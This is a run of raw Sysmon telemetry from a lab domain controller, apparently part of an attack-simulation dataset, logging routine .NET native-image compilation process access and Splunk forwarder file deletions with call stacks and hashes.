10341000x800000000000000044470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.521{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F63-613B-7E09-00000000F001}4696C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.501{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F63-613B-7E09-00000000F001}4696C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.501{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F63-613B-7E09-00000000F001}4696C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.471{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F63-613B-7D09-00000000F001}3944C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.451{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=31246043005E2392F6FCF7B4948AACB1,SHA256=B9D649D890B500B3E7DEF5E368B1A87C3CC22056C5C968C4C58927F6D910FDD0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.451{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F63-613B-7D09-00000000F001}3944C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.451{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F63-613B-7D09-00000000F001}3944C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.451{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F2C589CFF2D43392EB84FD9364114FCB,SHA256=9BACB047ECFAB305531E882A857A2C6272F6DF0A8881451C392B0E74C8C19E66,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.401{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F63-613B-7C09-00000000F001}6632C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.391{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F63-613B-7C09-00000000F001}6632C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.391{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F63-613B-7C09-00000000F001}6632C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.351{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F63-613B-7B09-00000000F001}6152C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.341{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F63-613B-7B09-00000000F001}6152C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.341{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F63-613B-7B09-00000000F001}6152C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.290{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F63-613B-7A09-00000000F001}7140C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.271{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F63-613B-7A09-00000000F001}7140C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.271{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F63-613B-7A09-00000000F001}7140C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.221{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F63-613B-7909-00000000F001}5940C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.201{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F63-613B-7909-00000000F001}5940C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.201{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F63-613B-7909-00000000F001}5940C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.151{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F63-613B-7809-00000000F001}5340C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.141{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F63-613B-7809-00000000F001}5340C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.141{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F63-613B-7809-00000000F001}5340C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.081{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F63-613B-7709-00000000F001}6900C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 